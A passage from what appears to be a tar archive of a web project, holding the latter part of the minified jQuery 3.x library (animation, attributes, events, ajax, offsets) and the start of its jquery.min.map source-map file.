r)r[t]&&r[t].stop&&at.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||E.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=Y.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=E.timers,o=n?n.length:0;for(t.finish=!0,E.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),E.each(["toggle","show","hide"],function(e,r){var i=E.fn[r];E.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(lt(r,!0),e,t,n)}}),E.each({slideDown:lt("show"),slideUp:lt("hide"),slideToggle:lt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){E.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),E.timers=[],E.fx.tick=function(){var e,t=0,n=E.timers;for(tt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||E.fx.stop(),tt=void 0},E.fx.timer=function(e){E.timers.push(e),E.fx.start()},E.fx.interval=13,E.fx.start=function(){nt||(nt=!0,st())},E.fx.stop=function(){nt=null},E.fx.speeds={slow:600,fast:200,_default:400},E.fn.delay=function(r,e){return r=E.fx&&E.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=C.setTimeout(e,r);t.stop=function(){C.clearTimeout(n)}})},rt=S.createElement("input"),it=S.createElement("select").appendChild(S.createElement("option")),rt.type="checkbox",v.checkOn=""!==rt.value,v.optSelected=it.selected,(rt=S.createElement("input")).value="t",rt.type="radio",v.radioValue="t"===rt.value;var pt,dt=E.expr.attrHandle;E.fn.extend({attr:function(e,t){return B(this,E.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){E.removeAttr(this,e)})}}),E.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?E.prop(e,t,n):(1===o&&E.isXMLDoc(e)||(i=E.attrHooks[t.toLowerCase()]||(E.expr.match.bool.test(t)?pt:void 0)),void 0!==n?null===n?void E.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=E.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!v.radioValue&&"radio"===t&&A(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(P);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),pt={set:function(e,t,n){return!1===t?E.removeAttr(e,n):e.setAttribute(n,n),n}},E.each(E.expr.match.bool.source.match(/\w+/g),function(e,t){var a=dt[t]||E.find.attr;dt[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=dt[o],dt[o]=r,r=null!=a(e,t,n)?o:null,dt[o]=i),r}});var ht=/^(?:input|select|textarea|button)$/i,gt=/^(?:a|area)$/i;function yt(e){return(e.match(P)||[]).join(" ")}function vt(e){return e.getAttribute&&e.getAttribute("class")||""}function mt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(P)||[]}E.fn.extend({prop:function(e,t){return B(this,E.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[E.propFix[e]||e]})}}),E.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&E.isXMLDoc(e)||(t=E.propFix[t]||t,i=E.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=E.find.attr(e,"tabindex");return t?parseInt(t,10):ht.test(e.nodeName)||gt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),v.optSelected||(E.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),E.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){E.propFix[this.toLowerCase()]=this}),E.fn.extend({addClass:function(t){var e,n,r,i,o,a;return m(t)?this.each(function(e){E(this).addClass(t.call(this,e,vt(this)))}):(e=mt(t)).length?this.each(function(){if(r=vt(this),n=1===this.nodeType&&" "+yt(r)+" "){for(o=0;o<e.length;o++)i=e[o],n.indexOf(" "+i+" ")<0&&(n+=i+" ");a=yt(n),r!==a&&this.setAttribute("class",a)}}):this},removeClass:function(t){var e,n,r,i,o,a;return m(t)?this.each(function(e){E(this).removeClass(t.call(this,e,vt(this)))}):arguments.length?(e=mt(t)).length?this.each(function(){if(r=vt(this),n=1===this.nodeType&&" "+yt(r)+" "){for(o=0;o<e.length;o++){i=e[o];while(-1<n.indexOf(" "+i+" "))n=n.replace(" "+i+" "," ")}a=yt(n),r!==a&&this.setAttribute("class",a)}}):this:this.attr("class","")},toggleClass:function(t,n){var e,r,i,o,a=typeof t,s="string"===a||Array.isArray(t);return m(t)?this.each(function(e){E(this).toggleClass(t.call(this,e,vt(this),n),n)}):"boolean"==typeof n&&s?n?this.addClass(t):this.removeClass(t):(e=mt(t),this.each(function(){if(s)for(o=E(this),i=0;i<e.length;i++)r=e[i],o.hasClass(r)?o.removeClass(r):o.addClass(r);else void 0!==t&&"boolean"!==a||((r=vt(this))&&Y.set(this,"__className__",r),this.setAttribute&&this.setAttribute("class",r||!1===t?"":Y.get(this,"__className__")||""))}))},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+yt(vt(n))+" ").indexOf(t))return!0;return!1}});var xt=/\r/g;E.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=m(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,E(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=E.map(t,function(e){return null==e?"":e+""})),(r=E.valHooks[this.type]||E.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=E.valHooks[t.type]||E.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(xt,""):null==e?"":e:void 0}}),E.extend({valHooks:{option:{get:function(e){var t=E.find.attr(e,"value");return null!=t?t:yt(E.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!A(n.parentNode,"optgroup"))){if(t=E(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=E.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<E.inArray(E.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),E.each(["radio","checkbox"],function(){E.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<E.inArray(E(e).val(),t)}},v.checkOn||(E.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),v.focusin="onfocusin"in C;var bt=/^(?:focusinfocus|focusoutblur)$/,wt=function(e){e.stopPropagation()};E.extend(E.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||S],d=y.call(e,"type")?e.type:e,h=y.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||S,3!==n.nodeType&&8!==n.nodeType&&!bt.test(d+E.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[E.expando]?e:new E.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:E.makeArray(t,[e]),c=E.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c.delegateType||d,bt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||S)&&p.push(a.defaultView||a.parentWindow||C)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(Y.get(o,"events")||Object.create(null))[e.type]&&Y.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&V(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!V(n)||u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),E.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,wt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,wt),E.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=E.extend(new E.Event,n,{type:e,isSimulated:!0});E.event.trigger(r,null,t)}}),E.fn.extend({trigger:function(e,t){return this.each(function(){E.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return E.event.trigger(e,t,n,!0)}}),v.focusin||E.each({focus:"focusin",blur:"focusout"},function(n,r){var i=function(e){E.event.simulate(r,e.target,E.event.fix(e))};E.event.special[r]={setup:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r);t||e.addEventListener(n,i,!0),Y.access(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r)-1;t?Y.access(e,r,t):(e.removeEventListener(n,i,!0),Y.remove(e,r))}}});var Tt=C.location,Ct={guid:Date.now()},St=/\?/;E.parseXML=function(e){var t,n;if(!e||"string"!=typeof e)return null;try{t=(new C.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsererror")[0],t&&!n||E.error("Invalid XML: "+(n?E.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var Et=/\[\]$/,kt=/\r?\n/g,At=/^(?:submit|button|image|reset|file)$/i,Nt=/^(?:input|select|textarea|keygen)/i;function jt(n,e,r,i){var t;if(Array.isArray(e))E.each(e,function(e,t){r||Et.test(n)?i(n,t):jt(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==w(e))i(n,e);else for(t in e)jt(n+"["+t+"]",e[t],r,i)}E.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!E.isPlainObject(e))E.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},E.fn.extend({serialize:function(){return E.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=E.prop(this,"elements");return e?E.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!E(this).is(":disabled")&&Nt.test(this.nodeName)&&!At.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=E(this).val();return null==n?null:Array.isArray(n)?E.map(n,function(e){return{name:t.name,value:e.replace(kt,"\r\n")}}):{name:t.name,value:n.replace(kt,"\r\n")}}).get()}});var Dt=/%20/g,qt=/#.*$/,Lt=/([?&])_=[^&]*/,Ht=/^(.*?):[ \t]*([^\r\n]*)$/gm,Ot=/^(?:GET|HEAD)$/,Pt=/^\/\//,Rt={},Mt={},It="*/".concat("*"),Wt=S.createElement("a");function Ft(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(P)||[];if(m(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function $t(t,i,o,a){var s={},u=t===Mt;function l(e){var r;return s[e]=!0,E.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function Bt(e,t){var n,r,i=E.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&E.extend(!0,e,r),e}Wt.href=Tt.href,E.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Tt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Tt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":It,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":E.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Bt(Bt(e,E.ajaxSettings),t):Bt(E.ajaxSettings,e)},ajaxPrefilter:Ft(Rt),ajaxTransport:Ft(Mt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,y=E.ajaxSetup({},t),v=y.context||y,m=y.context&&(v.nodeType||v.jquery)?E(v):E.event,x=E.Deferred(),b=E.Callbacks("once memory"),w=y.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=Ht.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(y.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),y.url=((e||y.url||Tt.href)+"").replace(Pt,Tt.protocol+"//"),y.type=t.method||t.type||y.method||y.type,y.dataTypes=(y.dataType||"*").toLowerCase().match(P)||[""],null==y.crossDomain){r=S.createElement("a");try{r.href=y.url,r.href=r.href,y.crossDomain=Wt.protocol+"//"+Wt.host!=r.protocol+"//"+r.host}catch(e){y.crossDomain=!0}}if(y.data&&y.processData&&"string"!=typeof y.data&&(y.data=E.param(y.data,y.traditional)),$t(Rt,y,t,T),h)return T;for(i in(g=E.event&&y.global)&&0==E.active++&&E.event.trigger("ajaxStart"),y.type=y.type.toUpperCase(),y.hasContent=!Ot.test(y.type),f=y.url.replace(qt,""),y.hasContent?y.data&&y.processData&&0===(y.contentType||"").indexOf("application/x-www-form-urlencoded")&&(y.data=y.data.replace(Dt,"+")):(o=y.url.slice(f.length),y.data&&(y.processData||"string"==typeof y.data)&&(f+=(St.test(f)?"&":"?")+y.data,delete y.data),!1===y.cache&&(f=f.replace(Lt,"$1"),o=(St.test(f)?"&":"?")+"_="+Ct.guid+++o),y.url=f+o),y.ifModified&&(E.lastModified[f]&&T.setRequestHeader("If-Modified-Since",E.lastModified[f]),E.etag[f]&&T.setRequestHeader("If-None-Match",E.etag[f])),(y.data&&y.hasContent&&!1!==y.contentType||t.contentType)&&T.setRequestHeader("Content-Type",y.contentType),T.setRequestHeader("Accept",y.dataTypes[0]&&y.accepts[y.dataTypes[0]]?y.accepts[y.dataTypes[0]]+("*"!==y.dataTypes[0]?", "+It+"; q=0.01":""):y.accepts["*"]),y.headers)T.setRequestHeader(i,y.headers[i]);if(y.beforeSend&&(!1===y.beforeSend.call(v,T,y)||h))return T.abort();if(u="abort",b.add(y.complete),T.done(y.success),T.fail(y.error),c=$t(Mt,y,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,y]),h)return T;y.async&&0<y.timeout&&(d=C.setTimeout(function(){T.abort("timeout")},y.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&C.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(y,T,n)),!i&&-1<E.inArray("script",y.dataTypes)&&E.inArray("json",y.dataTypes)<0&&(y.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(y,s,T,i),i?(y.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(E.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(E.etag[f]=u)),204===e||"HEAD"===y.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(v,[o,l,T]):x.rejectWith(v,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,y,i?o:a]),b.fireWith(v,[T,l]),g&&(m.trigger("ajaxComplete",[T,y]),--E.active||E.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return E.get(e,t,n,"json")},getScript:function(e,t){return E.get(e,void 0,t,"script")}}),E.each(["get","post"],function(e,i){E[i]=function(e,t,n,r){return m(t)&&(r=r||n,n=t,t=void 0),E.ajax(E.extend({url:e,type:i,dataType:r,data:t,success:n},E.isPlainObject(e)&&e))}}),E.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),E._evalUrl=function(e,t,n){return E.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){E.globalEval(e,t,n)}})},E.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=E(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return m(n)?this.each(function(e){E(this).wrapInner(n.call(this,e))}):this.each(function(){var e=E(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=m(t);return this.each(function(e){E(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){E(this).replaceWith(this.childNodes)}),this}}),E.expr.pseudos.hidden=function(e){return!E.expr.pseudos.visible(e)},E.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},E.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var _t={0:200,1223:204},zt=E.ajaxSettings.xhr();v.cors=!!zt&&"withCredentials"in zt,v.ajax=zt=!!zt,E.ajaxTransport(function(i){var o,a;if(v.cors||zt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(_t[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&C.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),E.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),E.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return E.globalEval(e),e}}}),E.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),E.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=E("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),S.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;E.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||E.expando+"_"+Ct.guid++;return this[e]=!0,e}}),E.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+r):!1!==e.jsonp&&(e.url+=(St.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||E.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?E(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),v.createHTMLDocument=((Ut=S.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===Ut.childNodes.length),E.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(v.createHTMLDocument?((r=(t=S.implementation.createHTMLDocument("")).createElement("base")).href=S.location.href,t.head.appendChild(r)):t=S),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&E(o).remove(),E.merge([],i.childNodes)));var r,i,o},E.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=yt(e.slice(s)),e=e.slice(0,s)),m(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&E.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?E("<div>").append(E.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},E.expr.pseudos.animated=function(t){return E.grep(E.timers,function(e){return t===e.elem}).length},E.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=E.css(e,"position"),c=E(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=E.css(e,"top"),u=E.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,E.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},E.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){E.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===E.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===E.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=E(e).offset()).top+=E.css(e,"borderTopWidth",!0),i.left+=E.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-E.css(r,"marginTop",!0),left:t.left-i.left-E.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===E.css(e,"position"))e=e.offsetParent;return e||re})}}),E.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;E.fn[t]=function(e){return B(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),E.each(["top","left"],function(e,n){E.cssHooks[n]=_e(v.pixelPosition,function(e,t){if(t)return t=Be(e,n),Pe.test(t)?E(e).position()[n]+"px":t})}),E.each({Height:"height",Width:"width"},function(a,s){E.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){E.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return B(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?E.css(e,t,i):E.style(e,t,n,i)},s,n?e:void 0,n)}})}),E.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){E.fn[t]=function(e){return this.on(t,e)}}),E.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),E.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){E.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var Gt=/^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g;E.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||E.guid++,i},E.holdReady=function(e){e?E.readyWait++:E.ready(!0)},E.isArray=Array.isArray,E.parseJSON=JSON.parse,E.nodeName=A,E.isFunction=m,E.isWindow=x,E.camelCase=X,E.type=w,E.now=Date.now,E.isNumeric=function(e){var t=E.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},E.trim=function(e){return null==e?"":(e+"").replace(Gt,"$1")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return E});var Yt=C.jQuery,Qt=C.$;return E.noConflict=function(e){return C.$===E&&(C.$=Qt),e&&C.jQuery===E&&(C.jQuery=Yt),E},"undefined"==typeof e&&(C.jQuery=C.$=E),E}); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/jquery.min.map������������������������������������������������������������������������0000666�����������������00000416325�15172447206�0012207 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{"version":3,"sources":["jquery.js"],"names":["global","factory","module","exports","document","w","Error","window","this","noGlobal","arr","getProto","Object","getPrototypeOf","slice","flat","array","call","concat","apply","push","indexOf","class2type","toString","hasOwn","hasOwnProperty","fnToString","ObjectFunctionString","support","isFunction","obj","nodeType","item","isWindow","preservedScriptAttributes","type","src","nonce","noModule","DOMEval","code","node","doc","i","val","script","createElement","text","getAttribute","setAttribute","head","appendChild","parentNode","removeChild","toType","version","jQuery","se